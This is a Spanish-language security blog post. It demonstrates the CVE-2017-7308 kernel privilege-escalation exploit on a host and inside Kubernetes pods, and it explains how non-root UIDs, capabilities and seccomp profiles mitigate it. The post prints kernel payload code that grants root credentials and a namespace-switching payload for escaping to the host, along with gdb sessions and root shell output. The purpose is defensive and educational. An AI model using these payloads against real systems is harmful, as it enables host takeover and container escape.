Skip to main content

Escalación de privilegios en el kernel: cómo el aislamiento de contenedores de Kubernetes afecta los ataques de escalación de privilegios

Escrito por
Headshot of Kamil Potrec

Kamil Potrec

3 de diciembre de 2020

0 minutos de lectura

Durante el día, dedico mi tiempo a analizar código de Terraform, archivos de configuración de objetos de Kubernetes e identificar problemas de seguridad comunes. Cuando se pone el sol, me pongo la sudadera con capucha, inicio máquinas virtuales de Linux y depuradores para examinar a fondo las tecnologías que conforman el ecosistema nativo de la nube.

En esta publicación, exploraremos cómo el aislamiento de contenedores de Kubernetes afecta los ataques de escalación de privilegios. Usaremos técnicas comunes de explotación del kernel para descubrir cómo las capas de abstracción de los contenedores pueden dificultarnos el acceso a esa preciada shell de root.

¿Qué es la escalación de privilegios?

La escalación de privilegios es un término que describe el proceso de obtener más permisos para acceder a un recurso. La escalación de privilegios en el kernel es el proceso de obtener estos permisos al explotar una debilidad en uno de los muchos puntos de entrada del kernel, también conocidos como vectores de ataque. Un vector de ataque es simplemente una ruta que permite acceder al código vulnerable.

Interactuamos con el kernel de muchas maneras: al leer el sistema de archivos, abrir un archivo de dispositivo, realizar llamadas al sistema o enviar un paquete a través de la interfaz de red. Todas estas acciones requieren que se ejecute algún proceso en el espacio del kernel. Cuando el kernel realiza una acción en nombre del proceso del usuario, decimos que opera en un contexto de proceso. Cada proceso está representado en el kernel mediante una estructura struct task_struct. Estas estructuras se almacenan en una lista circular doblemente enlazada y se accede a ellas desde variables PER_CPU en la arquitectura x86-64 cuando se produce un cambio de contexto del espacio de usuario al espacio del kernel.

Una task_struct contiene un miembro struct creds que almacena el identificador de usuario y las capacidades asociadas con el proceso. El kernel usa esta información para determinar si el proceso puede realizar una acción, por ejemplo, si tiene permiso para ejecutar una llamada al sistema específica. El objetivo general de la escalación de privilegios en el kernel es reemplazar o actualizar la estructura de credenciales para obtener más permisos.

¿Cómo funciona la escalación de privilegios?

La técnica más común para obtener permisos elevados en el espacio del kernel consiste en usar la combinación de funciones del kernel [commit_creds](https://github.com/torvalds/linux/blob/master/kernel/cred.c#L437)([prepare_kernel_cred(0)](https://github.com/torvalds/linux/blob/master/kernel/cred.c#L682)). Esto solo se puede lograr cuando un exploit obtiene el control de un puntero de instrucción (RIP) y logra evadir los controles de acceso y aleatorización de memoria. [prepare_kernel_cred](https://github.com/torvalds/linux/blob/master/kernel/cred.c#L682) puede generar un objeto de credenciales a partir de uno existente o, de forma más generosa, generar uno predeterminado con todos los permisos de root. [commit_creds](https://github.com/torvalds/linux/blob/master/kernel/cred.c#L437) simplemente actualiza la task_struct del proceso actual con el nuevo objeto de credenciales.

typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

void get_root_payload(void) {
   ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
       ((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
   );
}

La explotación del kernel es un campo muy amplio, así que en esta publicación solo exploraremos una versión demasiado simplificada de la escalación de privilegios en el kernel. El kernel cuenta con numerosos controles de seguridad diseñados para dificultar la explotación. SMEP, SMAP, KASLR y KPTI son mecanismos implementados en el hardware o en el kernel, y se habilitan o deshabilitan según la distribución que uses o las decisiones de un administrador del sistema. No hay una forma directa de controlar estos ajustes desde Kubernetes, por lo que no los abordaremos en esta publicación.

Usaremos un problema antiguo de la implementación de af_packet, que recibió el identificador CVE-2017-7308. La vulnerabilidad se puede explotar con la capacidad CAP_NET_RAW, ya que requiere acceso a sockets sin procesar. Los detalles de la vulnerabilidad se explican exhaustivamente aquí, así que no entraremos en ellos. Podemos obtener todas las capacidades que necesitamos en un espacio de nombres de usuario sin privilegios. En la distribución Ubuntu, el acceso a los espacios de nombres de usuario not está restringido de forma predeterminada.

dev@node1:~/exploit$ grep CONFIG_USER_NS /boot/config-4.15.0-122-generic
CONFIG_USER_NS=y
dev@node1:~/exploit$ sudo sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1
dev@node1:~/exploit$

Veamos los detalles

Primero, veamos el proceso de principio a fin en un entorno que no use contenedores.

Debemos conectar el depurador GNU (gdb) al stub de la máquina virtual. Una vez conectado el depurador, podemos establecer un punto de interrupción en un lugar conveniente. En este caso, usamos una llamada al sistema mlock, que podemos activar manualmente desde el exploit cuando queramos consultar el estado interno del proceso en ejecución. Ten en cuenta que gdb solo se detendrá si el proceso en ejecución se llama “exploit”. Esto reduce el riesgo de que el punto de interrupción se active por otro proceso del sistema. Las tareas de configuración están convenientemente programadas en un archivo de comandos .gdb. Ejecutamos GDB con la opción -x para realizar la configuración de forma coherente y repetible.

dev@pwnbox:/$ cat setup.gdb
set print pretty on
file vmlinux
target remote 127.0.0.1:11234
break sys_mlock if $_streq($lx_current().comm, "exploit")
continue
dev@pwnbox:/$ gdb -q -x setup.gdb
0xffffffff819c24be in native_safe_halt () at ./arch/x86/include/asm/irqflags.h:61
61  }
Breakpoint 1 at 0xffffffff8121da50: file mm/mlock.c, line 709.

Los puntos de interrupción se activarán antes de crear el espacio de nombres de usuario sin privilegios, justo antes de ejecutar la vulnerabilidad y después de obtener credenciales de root. Implementamos este comportamiento simplemente ejecutando la llamada al sistema correspondiente.

syscall(149, 0, 0); // Break before CLONE_NEWUSER
if (unshare(CLONE_NEWUSER) != 0) {
   perror("[-] unshare(CLONE_NEWUSER)");
   exit(EXIT_FAILURE);
}
/* OMITTED */printf("[*] executing get root payload %p\n", &get_root_payload);
syscall(149, 0, 0); // Break before commit_creds
exploit_cve_2017_7308((void *)&get_root_payload);
printf("[*] done\n");
syscall(149, 0, 0); // Break after commit_creds

Ahora podemos ejecutar el exploit:

dev@node1:~/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[*] commit_creds:        ffffffff810b45e0
[*] prepare_kernel_cred: ffffffff810b4ad0
[*] executing get root payload 0x558abc4dd583

El primer punto de interrupción se activa como esperábamos. Podemos examinar la estructura cred ejecutando la función auxiliar de gdb $lx_current. El UID efectivo del proceso actual es 1000 y, como esperábamos, no tiene capacidades efectivas en el espacio de nombres actual.

Thread 6 hit Breakpoint 1, SyS_mlock (start=0, len=0) at mm/mlock.c:709
709 SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
(gdb) p *($lx_current().cred)
$1 = {
 usage = {counter = 4},
 uid = { val = 1000 },
 gid = { val = 1000 },
 suid = { val = 1000 },
 sgid = { val = 1000 },
 euid = { val = 1000 },
 egid = { val = 1000 },
 fsuid = { val = 1000 },
 fsgid = { val = 1000 },
 securebits = 0,
 cap_inheritable = { cap = {0, 0} },
 cap_permitted = { cap = {0, 0} },
 cap_effective = { cap = {0, 0} },
 cap_bset = { cap = {4294967295, 63} },
 cap_ambient = { cap = {0, 0} },
 jit_keyring = 0 '\000',
 session_keyring = 0xffff888331051f00,
 process_keyring = 0x0 <irq_stack_union>,
 thread_keyring = 0x0 <irq_stack_union>,
 request_key_auth = 0x0 <irq_stack_union>,
 security = 0xffff8882bb29dd60,
 user = 0xffff88832dd89f00,
 user_ns = 0xffffffff824541e0 <init_user_ns>,
 group_info = 0xffff8882b9181480,
 {
   non_rcu = 0,
   rcu = {
     next = 0x0 <irq_stack_union>,
     func = 0x0 <irq_stack_union>
   }
 }
}
(gdb)

El segundo punto de interrupción se activa después de una llamada a unshare, cuando se crea el nuevo espacio de nombres de usuario para el proceso. Observa que el UID no cambia, pero los atributos cap_effective y user_ns sí. Las capacidades se almacenan como una máscara de bits, que es más fácil de leer en formato hexadecimal.

Thread 1 hit Breakpoint 1, SyS_mlock (start=0, len=0) at mm/mlock.c:709
709 SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
(gdb) p *($lx_current().cred)
$2 = {
 /* OMITTED */ uid = { val = 1000 },
 gid = { val = 1000 },
 /* OMITTED */ euid = { val = 1000 },
 /* OMITTED */ cap_inheritable = { cap = {0, 0} },
 cap_permitted = { cap = {4294967295, 63} },
 cap_effective = { cap = {4294967295, 63} },
 /* OMITTED */ user = 0xffff88832dd89f00,
 user_ns = 0xffff8882c1e0b800,
 /* OMITTED */}
(gdb) p/x 4294967295
$4 = 0xffffffff 
(gdb)

El último punto de interrupción se activa después de explotar la vulnerabilidad. Observa que el UID ahora es 0 y que el espacio de nombres de usuario se restableció a init_user_ns, que representa el espacio de nombres de usuario init del host.

Thread 1 hit Breakpoint 1, SyS_mlock (start=0, len=0) at mm/mlock.c:709
709 SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
(gdb) p *($lx_current().cred)
$3 = {
 /* OMITTED */ uid = { val = 0 },
 /* OMITTED */ 
 euid = { val = 0 },
 /* OMITTED */ cap_effective = { cap = {4294967295, 63} },
 /* OMITTED */ user = 0xffffffff82454160 <root_user>,
 user_ns = 0xffffffff824541e0 <init_user_ns>,
 group_info = 0xffffffff8245b568 <init_groups>,
 /* OMITTED */ }

Volvemos a la shell y ahora tenemos todos los permisos de root en el host.

dev@node1:~/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[*] commit_creds:        ffffffff810b45e0
[*] prepare_kernel_cred: ffffffff810b4ad0
[*] executing get root payload 0x558abc4dd583
[*] done
[+] got r00t
root@node1:/home/dev/exploit# id
uid=0(root) gid=0(root) groups=0(root)
root@node1:/home/dev/exploit#

Exploit del kernel en un contenedor

A continuación, intentaremos ejecutar el mismo exploit dentro de un pod. Creamos una definición muy sencilla de un objeto pod y la implementamos en el clúster.

apiVersion: v1
kind: Pod
metadata:
 name: very-default-pod
spec:
 containers:
   - name: test
     image: digitalocean/doks-debug:latest
     command: [ "sleep", "infinity" ]

Veamos qué ocurre con la configuración predeterminada.

dev@pwnbox:/$ kubectl get nodes
NAME    STATUS   ROLES    AGE   VERSION
node1   Ready    master   8d    v1.18.10
dev@pwnbox:/$ kubectl get pods
No resources found in default namespace.
dev@pwnbox:/$ kubectl apply -f very-default-pod.yaml
pod/test created
dev@pwnbox:/$ kubectl get pods
NAME   READY   STATUS    RESTARTS   AGE
test   1/1     Running   0          4s
dev@pwnbox:/$ kubectl exec -it test -- /bin/bash
root@test:~# id
uid=0(root) gid=0(root) groups=0(root)

Root de forma predeterminada

La imagen que usamos en la demostración no especifica un usuario sin privilegios y, de forma predeterminada, Kubernetes no aplica ningún UID. Así que parece que teníamos acceso root sin necesidad de explotar el kernel. Volvemos a ejecutar el mismo exploit y detenemos el kernel justo antes de que ejecute la ruta vulnerable. Si observas las capacidades efectivas del proceso, queda claro que faltan algunas. El valor es 2818844155, que representa el conjunto de capacidades predeterminado que concede el entorno de ejecución de Docker.

(gdb) p *($lx_current().cred)
$1 = {
 /* OMITTED */ euid = { val = 0 },
 /* OMITTED */ securebits = 0,
 cap_inheritable = { cap = {2818844155, 0} },
 cap_permitted = { cap = {2818844155, 0} },
 cap_effective = { cap = {2818844155, 0} },
 cap_bset = { cap = {2818844155, 0} },
 cap_ambient = { cap = {0, 0} },
 /* OMITTED */ 
 user = 0xffffffff82454160 <root_user>,
 user_ns = 0xffffffff824541e0 <init_user_ns>,
 /* OMITTED */ }

Una vez que termina el exploit, el conjunto efectivo vuelve a incluir todas las capacidades.

Thread 1 hit Breakpoint 1, SyS_mlock (start=0, len=0) at mm/mlock.c:709
709 SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
(gdb) p *($lx_current().cred)
$2 = {
 /* OMITTED */ securebits = 0,
 cap_inheritable = { cap = {0, 0} },
 cap_permitted = { cap = {4294967295, 63} },
 cap_effective = { cap = {4294967295, 63} },
 cap_bset = { cap = {4294967295, 63} },
 /* OMITTED */}

Esta vez, aplicaremos un ID de usuario distinto de root al contenedor mediante la configuración de los atributos de contexto de seguridad runAs.

apiVersion: v1
kind: Pod
metadata:
 name: non-root-pod
spec:
 containers:
   - name: test
     image: digitalocean/doks-debug:latest
     securityContext:
       runAsUser: 1000
       runAsGroup: 1000
     command: [ "sleep", "infinity" ]

Esta vez no tenemos permisos de root de entrada. Sin embargo, el exploit se comporta de manera idéntica, con una diferencia importante en el resultado final. Parece que tenemos todos los permisos, pero no podemos ver todo lo que hay en el sistema.

dev@pwnbox:/$ kubectl apply -f non-root-uid-pod.yaml
pod/test created
dev@pwnbox:/$ kubectl exec -it test -- /bin/bash
groups: cannot find name for group ID 1000
I have no name!@test:/root$ cd /mnt/dev/exploit/
I have no name!@test:/mnt/dev/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[*] commit_creds:        ffffffff810b45e0
[*] prepare_kernel_cred: ffffffff810b4ad0
[*] executing get root payload 0x55e55ff5a583
[*] done
[+] got r00t
root@test:/mnt/dev/exploit# id
uid=0(root) gid=0(root) groups=0(root)
root@test:/mnt/dev/exploit# cat /etc/shadow
root:*:18198:0:99999:7:::
daemon:*:18198:0:99999:7:::
bin:*:18198:0:99999:7:::
sys:*:18198:0:99999:7:::
sync:*:18198:0:99999:7:::
games:*:18198:0:99999:7:::
man:*:18198:0:99999:7:::
lp:*:18198:0:99999:7:::
mail:*:18198:0:99999:7:::
news:*:18198:0:99999:7:::
uucp:*:18198:0:99999:7:::
proxy:*:18198:0:99999:7:::
www-data:*:18198:0:99999:7:::
backup:*:18198:0:99999:7:::
list:*:18198:0:99999:7:::
irc:*:18198:0:99999:7:::
gnats:*:18198:0:99999:7:::
nobody:*:18198:0:99999:7:::
_apt:*:18198:0:99999:7:::
messagebus:*:18207:0:99999:7:::
root@test:/mnt/dev/exploit# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
      valid_lft forever preferred_lft forever
   inet6 ::1/128 scope host
      valid_lft forever preferred_lft forever
2: tunl0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default qlen 1000
   link/ipip 0.0.0.0 brd 0.0.0.0
root@test:/mnt/dev/exploit#

La barrera de los espacios de nombres

Logramos obtener todas las capacidades y el UID de root, pero solo superamos la barrera de capacidades del contenedor: seguimos sin tener acceso al sistema de archivos del host, así que no podemos ver todos los procesos ni comunicarnos a través de las interfaces de red del host.

root@test:~# ls -la /dev/
total 4
drwxr-xr-x 5 root root  360 Nov 23 14:04 .
drwxr-xr-x 1 root root 4096 Nov 23 14:04 ..
lrwxrwxrwx 1 root root   11 Nov 23 14:04 core -> /proc/kcore
lrwxrwxrwx 1 root root   13 Nov 23 14:04 fd -> /proc/self/fd
crw-rw-rw- 1 root root 1, 7 Nov 23 14:04 full
drwxrwxrwt 2 root root   40 Nov 23 14:04 mqueue
crw-rw-rw- 1 root root 1, 3 Nov 23 14:04 null
lrwxrwxrwx 1 root root    8 Nov 23 14:04 ptmx -> pts/ptmx
drwxr-xr-x 2 root root    0 Nov 23 14:04 pts
crw-rw-rw- 1 root root 1, 8 Nov 23 14:04 random
drwxrwxrwt 2 root root   40 Nov 23 14:04 shm
lrwxrwxrwx 1 root root   15 Nov 23 14:04 stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root   15 Nov 23 14:04 stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root   15 Nov 23 14:04 stdout -> /proc/self/fd/1
-rw-rw-rw- 1 root root    0 Nov 23 14:04 termination-log
crw-rw-rw- 1 root root 5, 0 Nov 23 14:04 tty
crw-rw-rw- 1 root root 1, 9 Nov 23 14:04 urandom
crw-rw-rw- 1 root root 1, 5 Nov 23 14:04 zero
root@test:~# ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0   4532   752 ?        Ss   14:04   0:00 sleep infinity
root         7  0.0  0.0  18504  3352 pts/0    Ss   14:04   0:00 /bin/bash
root        24  0.0  0.0  34400  2776 pts/0    R+   14:04   0:00 ps aux
root@test:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
      valid_lft forever preferred_lft forever
2: tunl0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default qlen 1000
   link/ipip 0.0.0.0 brd 0.0.0.0
4: eth0@if14: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
   link/ether 4e:52:2c:19:28:37 brd ff:ff:ff:ff:ff:ff link-netnsid 0
   inet 10.233.90.139/32 scope global eth0
      valid_lft forever preferred_lft forever
root@test:~#

En este punto, podemos cargar los módulos del kernel que queramos, pero eso genera ruido y activará la mayoría de los sistemas básicos de detección de intrusiones (eso esperamos). Para probarlo, quitaremos un módulo que no se usa. Ten en cuenta que la imagen de Docker debe tener instalados los paquetes de módulos. En el caso de las imágenes Debian, debes instalar el paquete kmod.

root@test:/mnt/dev/exploit# lsmod
Module                  Size  Used by
i2c_piix4              24576  0
binfmt_misc            20480  1
xt_CT                  16384  8
xt_tcpudp              16384  12
/* OMITTED */pata_acpi              16384  0
floppy                 77824  0
root@test:/mnt/dev/exploit# rmmod i2c_piix4
root@test:/mnt/dev/exploit# lsmod | grep i2c
root@test:/mnt/dev/exploit#

En su lugar, podemos ampliar nuestro exploit del kernel y establecer el objeto [struct nsproxy](https://github.com/torvalds/linux/blob/master/include/linux/nsproxy.h#L31) en el contexto actual para que apunte a los espacios de nombres que queramos. Los espacios de nombres se identifican mediante inodos, pero el kernel exporta la dirección de [init_nsproxy](https://github.com/torvalds/linux/blob/master/kernel/nsproxy.c#L32), que podemos usar para copiar los espacios de nombres init del host a nuestro contenedor.

(gdb) info address init_nsproxy
Symbol "init_nsproxy" is static storage at address 0xffffffff8245b2a0.
(gdb

La llamada al sistema sys_setns se puede usar para actualizar los espacios de nombres del contexto del proceso. Hay tres espacios de nombres principales a los que queremos escalar privilegios: PID, red y montaje. Primero, debemos obtener una referencia a los espacios de nombres root. Para ello, podemos mover el PID 1 del contenedor a los espacios de nombres del host. Luego, podemos obtener referencias a cualquier espacio de nombres desde el sistema de archivos /proc/ del PID 1. Por último, movemos el proceso actual a los espacios de nombres necesarios.

typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
typedef unsigned long long __attribute__((regparm(3))) (* _find_task_by_vpid)(unsigned int vnr);
typedef void __attribute__((regparm(3))) (* _switch_task_namespaces)(void *tsk, void *new);
typedef long __attribute__((regparm(4))) (* _do_sys_open)(int fd, const char *filename, int flags, unsigned short mode);
typedef long __attribute__((regparm(3))) (* _sys_setns)(int fd, int nstype);

void get_root_payload(void) {
   ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
       ((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
   );
   // [1] - Identify PID 1 task in current PID namespace
   unsigned long long task = ((_find_task_by_vpid)(KERNEL_BASE + FIND_TASK_BY_VPID))(1);
   // [2] - Move PID 1 into init namespaces
   ((_switch_task_namespaces)(KERNEL_BASE + SWITCH_TASK_NS))((void *)task, (void *)(KERNEL_BASE + INIT_NSPROXY));
   // [3] - Read mount namespace inode
   long fd = ((_do_sys_open)(KERNEL_BASE + DO_SYS_OPEN))(AT_FDCWD, "/proc/1/ns/mnt", O_RDONLY, 0);
   // [4] - Move current process into host’s mount namespace
   ((_sys_setns)(KERNEL_BASE + SYS_SETNS))( fd, 0 );
   // [5] - Read pid namespace inode
   fd = ((_do_sys_open)(KERNEL_BASE + DO_SYS_OPEN))(AT_FDCWD, "/proc/1/ns/pid", O_RDONLY, 0);
   // [6] - Move current process into host’s pid namespace
   ((_sys_setns)(KERNEL_BASE + SYS_SETNS))( fd, 0 );
   // [7] - Read network namespace inode
   fd = ((_do_sys_open)(KERNEL_BASE + DO_SYS_OPEN))(AT_FDCWD, "/proc/1/ns/net", O_RDONLY, 0);
   // [8] - Move current process into host’s network namespace
   ((_sys_setns)(KERNEL_BASE + SYS_SETNS))( fd, 0 );
}

Después de ejecutar nuestro exploit, podemos acceder a todos los recursos interesantes del sistema.

I have no name!@test:/root$ cd /mnt/dev/exploit/
I have no name!@test:/mnt/dev/exploit$ id
uid=1000 gid=1000 groups=1000
I have no name!@test:/mnt/dev/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[*] commit_creds:        ffffffff810b45e0
[*] prepare_kernel_cred: ffffffff810b4ad0
[*] executing get root payload 0x559f462d7583
[*] done
[+] got r00t
root@test:/# id
uid=0(root) gid=0(root) groups=0(root)root@test:/# ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.2  0.0 226012  9556 ?        Ss   14:30   0:02 /sbin/init nokaslr nopti
root         2  0.0  0.0      0     0 ?        S    14:30   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I    14:30   0:00 [kworker/0:0]
root         4  0.0  0.0      0     0 ?        I<   14:30   0:00 [kworker/0:0H]
root         6  0.0  0.0      0     0 ?        I<   14:30   0:00 [mm_percpu_wq]
/* OMITTED */dev      18468  0.0  0.0   4532   724 ?        Ss   14:44   0:00 sleep infinity
dev      18642  0.0  0.0  18508  3360 pts/0    Ss   14:44   0:00 /bin/bash
root     19762  0.2  0.0   4516   752 pts/0    S    14:45   0:00 ./exploit
root     19767  0.0  0.0  18516  3412 pts/0    S    14:45   0:00 /bin/bash -i
root     19803  0.0  0.0  36708  3172 pts/0    R+   14:45   0:00 ps aux
root@test:/# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
   link/ether 52:54:00:8a:6e:73 brd ff:ff:ff:ff:ff:ff
   inet 10.100.100.80/24 brd 10.100.100.255 scope global dynamic ens3
      valid_lft 2704sec preferred_lft 2704sec
   inet6 fe80::5054:ff:fe8a:6e73/64 scope link
      valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
   link/ether 02:42:00:d6:f9:0a brd ff:ff:ff:ff:ff:ff
   inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
      valid_lft forever preferred_lft forever
4: kube-ipvs0: <BROADCAST,NOARP> mtu 1500 qdisc noop state DOWN group default
   link/ether 76:17:6a:aa:ea:9e brd ff:ff:ff:ff:ff:ff
   inet 10.233.59.218/32 brd 10.233.59.218 scope global kube-ipvs0
      valid_lft forever preferred_lft forever
   inet 10.233.0.1/32 brd 10.233.0.1 scope global kube-ipvs0
      valid_lft forever preferred_lft forever
   inet 10.233.0.3/32 brd 10.233.0.3 scope global kube-ipvs0
      valid_lft forever preferred_lft forever
   inet 10.233.17.50/32 brd 10.233.17.50 scope global kube-ipvs0
      valid_lft forever preferred_lft forever
/* OMITTED */14: cali1037a54e65e@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
   link/ether ee:ee:ee:ee:ee:ee brd ff:ff:ff:ff:ff:ff link-netnsid 0
   inet6 fe80::ecee:eeff:feee:eeee/64 scope link
      valid_lft forever preferred_lft forever
root@test:/#
root@test:/# reboot
Failed to connect to bus: No data available

Uso de las capacidades

Las capacidades predeterminadas que se asignan a los contenedores de Kubernetes (con el entorno de ejecución de Docker) conceden al contenedor CAP_NET_RAW. ¿Significa esto que podríamos explotar la vulnerabilidad incluso si los espacios de nombres de usuario sin privilegios están deshabilitados? Agregamos código para establecer las capacidades efectivas necesarias para llegar al código vulnerable.

cap_t caps;
caps = cap_get_proc();
if (caps == NULL){
   perror("[-] Failed to get current caps\n");
   exit(EXIT_FAILURE);
}
cap_value_t cap_list[1];
cap_list[0] = CAP_NET_RAW;
if(cap_set_flag(caps, CAP_EFFECTIVE, 1, cap_list, CAP_SET) == -1){
   perror("[-] Failed to set effective caps\n");
   exit(EXIT_FAILURE);
}
if(cap_set_proc(caps) != 0){
   perror("[-] Failed to set process cpas\n");
   exit(EXIT_FAILURE);
}

Como puedes ver, el exploit falla. ¿Por qué?

I have no name!@test:/root$ id
uid=1000 gid=1000 groups=1000
I have no name!@test:/root$ cd /mnt/dev/exploit/
I have no name!@test:/mnt/dev/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[-] unshare(CLONE_NEWUSER): Operation not permitted
I have no name!@test:/mnt/dev/exploit$

Esto tiene que ver con las capacidades heredables y su implementación. Aunque el entorno de ejecución del contenedor haya concedido estas capacidades a los procesos del contenedor, deben activarse explícitamente como capacidades efectivas mediante sys_capset. Por ahora, solo los procesos con UID 0 pueden establecer capacidades efectivas. Así que, si quieres ejecutar un proceso como usuario sin privilegios de root y aun así acceder a algunas capacidades, debes incluir un binario suid en el contenedor para establecer las capacidades efectivas. Como alternativa, puedes establecer las capacidades necesarias en el ejecutable y eliminar las capacidades del contenedor. Las capacidades de archivo solo se aplican a sistemas de archivos con atributos extendidos.

Seccomp al rescate

Ahora hablemos de reachability de vectores de ataque. Nuestro exploit funciona porque los usuarios sin privilegios pueden obtener la capacidad CAP_NET_RAW en espacios de nombres de usuario sin privilegios. Vimos cómo esto afecta nuestro exploit en la sección anterior sobre capacidades. Hay otra medida de protección que podemos usar para detener este ataque y, sí, puedes habilitarla mediante Kubernetes.

Seccomp es un mecanismo que permite reducir la superficie de ataque del kernel mediante el filtrado de llamadas al sistema. Lamentablemente, Kubernetes no aplicará un perfil de seccomp a tu contenedor de forma predeterminada. Esto significa que se permiten todas las llamadas al sistema, sujetas a las comprobaciones de permisos que ya explicamos. Podemos cambiar esto agregando una anotación a la declaración del objeto (antes de la versión 1.19) o agregando el atributo del perfil de seccomp al contexto de seguridad del pod.

apiVersion: v1
kind: Pod
metadata:
 name: seccomp-pod
 annotations:
   seccomp.security.alpha.kubernetes.io/pod: runtime/default
spec:
 containers:
   - name: test
     image: digitalocean/doks-debug:latest
     command: [ "sleep", "infinity" ]

Veamos cómo afecta nuestro exploit el perfil predeterminado que proporciona el entorno de ejecución del contenedor (en este caso, Docker). Aparece el error “Operation not permitted” porque el perfil de seccomp predeterminado no permite la llamada al sistema unshare.

I have no name!@test:/root$ cd /mnt/dev/exploit/
I have no name!@test:/mnt/dev/exploit$ sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1
I have no name!@test:/mnt/dev/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[-] unshare(CLONE_NEWUSER): Operation not permitted
I have no name!@test:/mnt/dev/exploit$

Seccomp es excelente para limitar los puntos de entrada del kernel que no son necesarios. Las llamadas al sistema, como unshare o userfaultfd, se pueden deshabilitar de forma segura en la mayoría de los casos y son muy útiles para detener algunas técnicas de explotación. Sin embargo, hay algunas llamadas que serían difíciles de bloquear, como waitid. Puedes encontrar estas y otras técnicas para explotar contenedores aquí.

Conclusiones

Logramos prevenir este exploit con un perfil seccomp predeterminado. Como puedes ver, aunque nuestro sistema operativo es vulnerable, la ruta de explotación no es accesible desde nuestro contenedor (en esta ocasión). Esta técnica podría darte el tiempo necesario para planificar la actualización del sistema operativo que tanta falta hace. Considera estas medidas como controles de defensa en profundidad y estrategias de mitigación.

¡Aplica siempre los parches a tus sistemas! Snyk Infrastructure as Code puede ayudarte a detectar estas opciones de mitigación desde las primeras etapas de tu pipeline de CI/CD, mucho antes de que se implemente algo en producción. Usamos técnicas adversariales para identificar opciones de seguridad de alto impacto en Kubernetes y en los proveedores de servicios en la nube. Usa Snyk gratis: regístrate para crear una cuenta gratuita.

Empieza con Capture the Flag

Aprende a resolver desafíos de Capture the Flag viendo nuestro taller virtual introductorio a pedido.

Leer más

feature insights announcement
Blog

Compromiso de la cadena de suministro de node-gyp: un gusano de npm que se propaga solo y se oculta en binding.gyp

Un nuevo gusano de npm abusa de binding.gyp para activar node-gyp durante la instalación y permitir que paquetes maliciosos ejecuten código sin scripts del ciclo de vida. Roba credenciales, persiste en GitHub y se propaga entre mantenedores.

Article

Versiones maliciosas de node-ipc publicadas en npm tras una presunta toma de control de la cuenta de un mantenedor

El 14 de mayo de 2026, se publicaron varias versiones maliciosas del popular paquete npm node-ipc en el registro de npm. Los informes públicos actuales identifican node...

blog feature toolkit
Blog

Publicación maliciosa del paquete elementary-data en PyPI roba credenciales en la nube de ingenieros de datos

Los atacantes aprovecharon una vulnerabilidad de inyección de scripts en GitHub Actions para publicar una versión maliciosa de la CLI de Python elementary-data (v0.23.3), que incluía una puerta trasera para robar credenciales de perfiles de dbt, claves de proveedores de nube y secretos SSH en entornos de ingeniería de datos.